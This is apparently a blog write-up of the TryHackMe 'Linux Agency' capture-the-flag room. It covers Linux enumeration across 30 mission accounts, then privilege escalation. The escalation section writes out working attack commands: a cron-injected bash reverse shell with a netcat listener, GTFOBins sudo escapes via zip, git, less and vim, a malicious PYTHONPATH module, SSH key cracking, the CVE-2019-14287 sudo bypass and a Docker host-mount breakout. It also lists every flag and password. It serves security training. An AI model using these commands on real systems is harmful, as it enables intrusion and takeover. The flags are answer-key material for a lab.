📋 Room Overview
Platform TryHackMe
Room Name Linux Agency
Link https://tryhackme.com/room/linuxagency
Difficulty Medium
Category Linux Fundamentals + Privilege Escalation
Initial Access SSH (agent47)
🎯 About This Room
Linux Agency is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of Agent 47 — a secret agent tasked with infiltrating the ICA Agency, chaining through 30 mission accounts, eliminating special targets, and ultimately achieving root.
This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:
- 🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)
- 💻 Multiple programming languages (Python, Ruby, Java, C)
- 🔐 Encoding/decoding (Base64, Binary, Hex)
- 📅 Cron job exploitation
- ⚡ Sudo privilege escalation via GTFOBins
- 🐳 Docker privilege escalation
- 🔑 SSH private key cracking
🛠️ Tools Used
ssh,su,find,grep,cat,ls,strings,filebase64,xxdgcc,javac,java,python3,rubynetcat(nc)ssh2john+john(John the Ripper)ss(socket statistics)- GTFOBins
- Docker
⚙️ Setup
Start the machine on TryHackMe and wait about a minute. Then connect:
ssh agent47@<MACHINE_IP>Password: 640509040147
Once connected you’ll see:
agent47@linuxagency:~$The mission begins. 🚀
🗂️ Task 2: Initial Access
The room’s mechanic is straightforward:
- Every flag found acts as the password for the next user
- Flag format:
missionX{md5_hash} - Chain:
agent47 → mission1 → mission2 → ... → mission30 → viktor → ...
🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)
🎯 Mission 1
As agent47, the first task is finding mission1’s flag.
find / -type f -name "*.txt" 2>/dev/null
# Or directly check:
ls /home/mission1/
cat /home/mission1/<flag_file>Now switch to mission1:
su mission1
# Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}💡 What we learned:
findfor filesystem-wide searching, understanding the/homedirectory structure.
🎯 Mission 2
As mission1:
find / -type f -name "mission2" 2>/dev/null
cat <found_path>su mission2
# Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}🎯 Mission 3
# As mission2:
grep -r "mission3" . 2>/dev/nullsu mission3
# Password: mission3{ab1e1ae5cba688340825103f70b0f976}💡 What we learned:
grep -rfor recursive content searching across directories.
🎯 Mission 4
# As mission3:
cd /home/mission3
ls
cat flag.txtsu mission4
# Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}🎯 Missions 5–8
These follow a similar pattern — searching the filesystem:
# As mission4:
grep -r "mission5" / 2>/dev/null
su mission5
# Password: mission5{bc67906710c3a376bcc7bd25978f62c0}# As mission5:
grep -r "mission6" / 2>/dev/null
su mission6
# Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}# As mission6:
grep -r "mission7" / 2>/dev/null
su mission7
# Password: mission7{53fd6b2bad6e85519c7403267225def5}# As mission7:
grep -r "mission8" / 2>/dev/null
su mission8
# Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}🎯 Mission 9
# As mission8:
ls
cat flag.txtsu mission9
# Password: mission9{ba1069363d182e1c114bef7521c898f5}🎯 Missions 10–11
# As mission9:
grep -r "mission10" / 2>/dev/null
su mission10
# Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}# As mission10:
grep -r "mission11" / 2>/dev/null
su mission11
# Password: mission11{db074d9b68f06246944b991d433180c0}🎯 Mission 12 — Environment Variable
This time the flag is hidden inside an environment variable, not a file!
# As mission11:
env | grep mission12su mission12
# Password: mission12{f449a1d33d6edc327354635967f9a720}💡 What we learned: The
envcommand lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!
🎯 Mission 13 — File Permissions
# As mission12:
ls -la /home/mission12/
# flag.txt exists but you have no read permission!
chmod 777 /home/mission12/flag.txt
cat /home/mission12/flag.txtsu mission13
# Password: mission13{076124e360406b4c98ecefddd13ddb1f}💡 What we learned: Linux file permissions and
chmod. Always usels -la— the-aflag reveals hidden files and the-lflag shows permissions clearly.
🎯 Mission 14 — Base64 Decode
# As mission13:
cat /home/mission13/flag.txt | base64 -dsu mission14
# Password: mission14{d598de95639514b9941507617b9e54d2}💡 What we learned: Base64 encoding/decoding. Strings ending with
=or==are almost always Base64-encoded. Thebase64 -dflag decodes them directly in the terminal.
🎯 Mission 15 — Binary → ASCII
# As mission14:
cat /home/mission14/flag.txt
# You'll see binary digits: 01101101 01101001 ...Convert the binary to ASCII using Python:
python3 -c "
binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'
chars = binary.split()
result = ''.join([chr(int(b, 2)) for b in chars])
print(result)
"Or use an online tool: https://www.rapidtables.com/convert/number/binary-to-ascii.html
su mission15
# Password: mission15{fc4915d818bfaeff01185c3547f25596}💡 What we learned: Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.
🎯 Mission 16 — Hex → ASCII
# As mission15:
cat /home/mission15/flag.txt | xxd -r -pxxd -r -p converts a raw hex string directly back to ASCII.
su mission16
# Password: mission16{884417d40033c4c2091b44d7c26a908e}💡 What we learned: Hex decoding.
xxddumps hex (-p for plain hex), and with-rit reverses the process.
🎯 Mission 17 — Execute Permission
# As mission16:
ls -la /home/mission16/
# There's a 'flag' binary but it has no execute permission
chmod u+x /home/mission16/flag
./flagsu mission17
# Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}🎯 Mission 18 — Java
# As mission17:
ls /home/mission17/
# flag.java found
cd /home/mission17/
javac flag.java # Compile
java flag # Runsu mission18
# Password: mission18{f09760649986b489cda320ab5f7917e8}💡 What we learned: Java compilation workflow:
javaccompiles.java→.class, thenjavaruns the class.
🎯 Mission 19 — Ruby
# As mission18:
ruby /home/mission18/flag.rbsu mission19
# Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}🎯 Mission 20 — C Language
# As mission19:
cd /home/mission19/
gcc flag.c -o flag # Compile
./flag # Runsu mission20
# Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}💡 What we learned: C compilation:
gcc source.c -o output_namethen./output_nameto execute.
🎯 Mission 21 — Python
# As mission20:
python3 /home/mission20/flag.pysu mission21
# Password: mission21{7de756aabc528b446f6eb38419318f0c}🎯 Mission 22 — Restricted Shell Escape (script)
When you log in as mission21, you’re dropped into a restricted shell. Escape using:
script -qc /bin/bash /dev/nullThis spawns a full bash shell. Now check .bashrc:
cat ~/.bashrc
# You'll find a Base64-encoded string
echo '<base64_string>' | base64 -dsu mission22
# Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}💡 What we learned: Restricted shell escape using the
scriptcommand, which opens a new terminal session. Always check.bashrcand.bash_profile— attackers hide data there, and defenders do too.
🎯 Mission 23 — Python Interpreter Shell Escape
Logging in as mission22 drops you into a Python REPL. Escape to bash:
import pty
pty.spawn("/bin/bash")Now read the flag:
cat /home/mission22/flag.txtsu mission23
# Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}💡 What we learned: Python
pty.spawn()for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!
🎯 Mission 24 — Virtual Host + cURL
# As mission23:
cat /home/mission23/message.txt
cat /etc/hosts
# You'll see mission24.com mapped to 127.0.0.1
curl http://mission24.com -s | grep missionsu mission24
# Password: mission24{dbaeb06591a7fd6230407df3a947b89c}💡 What we learned: Virtual hosting — the
/etc/hostsfile acts as a local DNS resolver. In real engagements, always check/etc/hostsfor internal hostnames that reveal additional attack surface.
🎯 Mission 25 — Binary Analysis + viminfo
# As mission24:
ls /home/mission24/
file bribe # Check the file type
./bribe # Execute it — it writes to .viminfo
grep mission /home/mission24/.viminfosu mission25
# Password: mission25{61b93637881c87c71f220033b22a921b}💡 What we learned: The
filecommand identifies file types regardless of extension..viminfois a hidden file storing Vim history — always runls -lato catch hidden files!
🎯 Mission 26 — PATH Manipulation
Logging in as mission25 gives you a broken environment — commands don’t work because $PATH is corrupted.
echo $PATH
# Empty or wrong PATHexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ls -lhA
cat flag.txtsu mission26
# Password: mission26{cb6ce977c16c57f509e9f8462a120f00}💡 What we learned: The
$PATHenvironment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.
🎯 Mission 27 — Steganography with strings
# As mission26:
ls /home/mission26/
strings -n 20 /home/mission26/flag.jpgstrings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.
su mission27
# Password: mission27{444d29b932124a48e7dddc0595788f4d}💡 What we learned: Basic steganography — data hidden inside image files.
stringsis a quick first step when analyzing any binary or media file during a CTF or real engagement.
🎯 Mission 28 — Absurdly Long Filename
# As mission27:
ls /home/mission27/
less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gzYes, the filename is exactly that long. less handles it fine.
su mission28
# Password: mission28{03556f8ca983ef4dc26d2055aef9770f}🎯 Mission 29 — Ruby Interpreter + Reverse String
Logging in as mission28 drops you into a Ruby REPL.
Get Shikhali Jamalzade’s stories in your inbox
Join Medium for free to get updates from this writer.
Option 1 — Escape to shell:
exec "/bin/bash"Option 2 — Read the file directly from Ruby:
Dir.chdir("/home/mission28")
puts File.open("txt.galf").readlinesThe flag is written in reverse! You’ll see something like:
'}1fff2ad47eb52e68523621b8d50b2918{92noissim'Reverse it:
'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reversesu mission29
# Password: mission29{8192b05d8b12632586e25be74da2fff1}💡 What we learned: Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename
txt.galf— that'sflag.txtreversed!
🎯 Mission 30 — Bludit CMS Enumeration
# As mission29:
ls /home/mission29/
grep -rn "mission30" /home/mission29/bludit/The flag is buried inside Bludit CMS’s file structure.
su mission30
# Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}🎯 Viktor — Git History
# As mission30:
ls /home/mission30/
cd /home/mission30/Escalator/
git --no-pager logBrowse the git commit history — the flag is hidden in there.
su viktor
# Password: viktor{b52c60124c0f8f85fe647021122b3d9a}💡 What we learned:
git logreveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.
🔓 Task 4: Privilege Escalation
You’re now viktor. The “special targets” phase begins — each user requires a different privilege escalation technique.
🎯 Dalia — Cron Job Exploitation
# As viktor:
cat /etc/crontabOutput:
* * * * * root bash /opt/scripts/47.shRoot runs /opt/scripts/47.sh every minute. Check the script and your permissions:
cat /opt/scripts/47.sh
ls -la /opt/scripts/47.sh
# You have write access!Step 1: Create your reverse shell payload:
vim /tmp/eop.shContents:
#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/9999 0>&1Step 2: Base64-encode it and overwrite the cron script:
cat /tmp/eop.sh | base64 -w 0
# Copy the output, then:
echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d > /opt/scripts/47.shStep 3: Set up your listener:
nc -nlvp 9999Wait up to 60 seconds. The cron job fires and you get a shell as dalia:
# In the received shell:
id
# uid=1000(dalia) ...
cat /home/dalia/flag.txtUpgrade the shell (important for stability):
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export SHELL=bash
# Press Ctrl+Z
stty raw -echo; fgFlag: dalia{4a94a7a7bb4a819a63a33979926c77dc}
💡 What we learned: Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate
/etc/crontab,/etc/cron.d/, and/var/spool/cron/.
🎯 Silvio — sudo + zip (GTFOBins)
# As dalia:
sudo -l
# (dalia) NOPASSWD: /usr/bin/zip as silvioFrom GTFOBins — zip sudo escape:
TF=$(mktemp -u)
sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'id
# uid=... (silvio)
cat /home/silvio/flag.txtFlag: silvio{657b4d058c03ab9988875bc937f9c2ef}
💡 What we learned: GTFOBins — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see
sudo -l, immediately cross-reference every allowed binary against GTFOBins.
🎯 Reza — sudo + git (GTFOBins)
# As silvio:
sudo -l
# (silvio) NOPASSWD: /usr/bin/git as rezaGTFOBins git sudo escape (uses PAGER environment variable):
sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p helpid
# uid=... (reza)
cat /home/reza/flag.txtFlag: reza{2f1901644eda75306f3142d837b80d3e}
💡 What we learned: Git’s
--paginate(-p) feature invokes a pager, and by hijacking thePAGERenv variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.
🎯 Jordan — PYTHONPATH Hijacking
# As reza:
sudo -l
# (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordanRun the script:
sudo -u jordan /opt/scripts/Gun-Shop.py
# Error: No module named 'shop'The script imports a module called shop which doesn't exist. We can create it in a directory we control:
Step 1: Create a malicious shop module:
mkdir -p /tmp/shop
echo 'import os; os.system("/bin/bash")' > /tmp/shop/shop.pyStep 2: Override PYTHONPATH so Python finds our module first:
sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.pyid
# uid=... (jordan)
cat /home/jordan/flag.txtFlag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}
💡 What we learned: Python module hijacking — a real-world PrivEsc technique.
PYTHONPATHtells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.
🎯 Ken — sudo + less (GTFOBins)
# As jordan:
sudo -l
# (jordan) NOPASSWD: /usr/bin/less as kensudo -u ken /usr/bin/less /etc/profileOnce less opens, type ! followed by:
!/bin/shPress Enter — you drop into a shell as ken.
id
cat /home/ken/flag.txtFlag: ken{4115bf456d1aaf012ed4550c418ba99f}
🎯 Sean — sudo + vim (GTFOBins)
# As ken:
sudo -l
# (ken) NOPASSWD: /usr/bin/vim as seansudo -u sean vim -c ':!/bin/sh'The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.
id
cat /home/sean/flag.txtFlag: sean{4c5685f4db7966a43cf8e95859801281}
💡 What we learned: Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting
sudo vimto any user is effectively granting root.
🎯 Penelope — Password Hidden in Base64
# As sean:
printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d
# Output: "The password of penelope is p3nelope"su penelope
# Password: p3nelope
cat /home/penelope/flag.txtFlag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}
🎯 Maya — SUID base64 (GTFOBins)
# As penelope:
ls -lhA /home/penelope/
# A 'base64' binary with the SUID bit set!GTFOBins SUID base64 exploit — read files as the binary’s owner:
LFILE=/home/maya/flag.txt
./base64 "$LFILE" | base64 -dFlag: maya{a66e159374b98f64f89f7c8d458ebb2b}
💡 What we learned: SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with:
find / -perm -4000 2>/dev/null. Cross-reference every result with GTFOBins.
🎯 Robert — SSH Private Key Cracking
# As maya:
ls -lhA /home/maya/
ls -lhA /home/maya/old_robert_ssh/
# id_rsa and id_rsa.pub foundStep 1: Copy the private key to your local machine (new terminal tab):
scp maya@<IP>:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert
chmod 600 id_rsa_robertStep 2: Convert the key to a crackable hash:
ssh2john id_rsa_robert > robert_ssh_hash.txtStep 3: Crack it with John the Ripper:
john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txtResult: industryweapon
Step 4: Find Robert’s SSH port on the target:
# On the target machine:
ss -nlpt | grep 22
# Port 2222 is listeningStep 5: Connect:
ssh [email protected] -p 2222 -i id_rsa_robert
# Passphrase: industryweapon
cat /home/robert/user.txtFlag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}
💡 What we learned: SSH private key cracking —
ssh2johnextracts the hash,johncracks it. In real engagements, always look forid_rsafiles in home directories, backup folders, and.ssh/directories. Encrypted keys with weak passphrases are a common finding.
👑 Root — Two-Stage Escalation
Stage 1: CVE-2019–14287 (Sudo User ID Bypass)
# As robert:
sudo --version
# Reveals a vulnerable version (< 1.8.28)
sudo -u#-1 /bin/bash
whoami
# root!How it works: This is CVE-2019–14287. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.
cd /root
lsStage 2: Docker Group → Root (root.txt)
# As root (inside the container/restricted environment):
id
# You're in the docker group
find / -name docker 2>/dev/null
# Found at /tmp/docker or similar
./docker ps -a
./docker image ls
# "mangoman" image existsMount the host filesystem into a container and chroot into it:
./docker run -v /:/mnt --rm -it mangoman chroot /mnt shid
# uid=0(root) gid=0(root) — TRUE host root
cat /root/root.txtFlag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}
💡 What we learned: Docker group membership is equivalent to root access.
-v /:/mntmounts the entire host filesystem into the container, andchroot /mntmakes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to thedockergroup.
🏆 Flags Summary
User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout
🧠 Key Takeaways
Linux Fundamentals:
ls -laalways — hidden files, permissions at a glancefindandgrep -rfor wide enumerationenvfor environment variable inspectionfileto identify file types regardless of extensionstringsto extract readable data from binaries
Encoding & Decoding:
- Base64 (
base64 -d), Hex (xxd -r -p), Binary (Python one-liner) - Reversed strings — check file content and filenames alike
Scripting Languages:
- Python:
pty.spawn("/bin/bash")for shell upgrade - Ruby:
exec "/bin/bash"orDir/Filefor file ops - Java:
javac→java, C:gcc→./binary
Privilege Escalation Checklist:
sudo -l→ GTFOBinsfind / -perm -4000 2>/dev/null→ SUID binaries → GTFOBinscat /etc/crontab+ls /etc/cron.d/→ writable scripts run by rootid→ check group memberships (docker!)- Check
$PATH, env variables, writable directories in PATH
📚 Resources
- 🔗 GTFOBins — sudo/SUID binary exploitation reference
- 🔗 PayloadsAllTheThings — Reverse Shell Cheatsheet
- 🔗 Exploit-DB: CVE-2019–14287
- 🔗 TryHackMe: Sudo Security Bypass
- 🔗 HackTricks: Docker Breakout
- 🔗 RapidTables Converter
💬 Final Thoughts
Linux Agency is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.
If you’re preparing for OSCP, CPTS or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.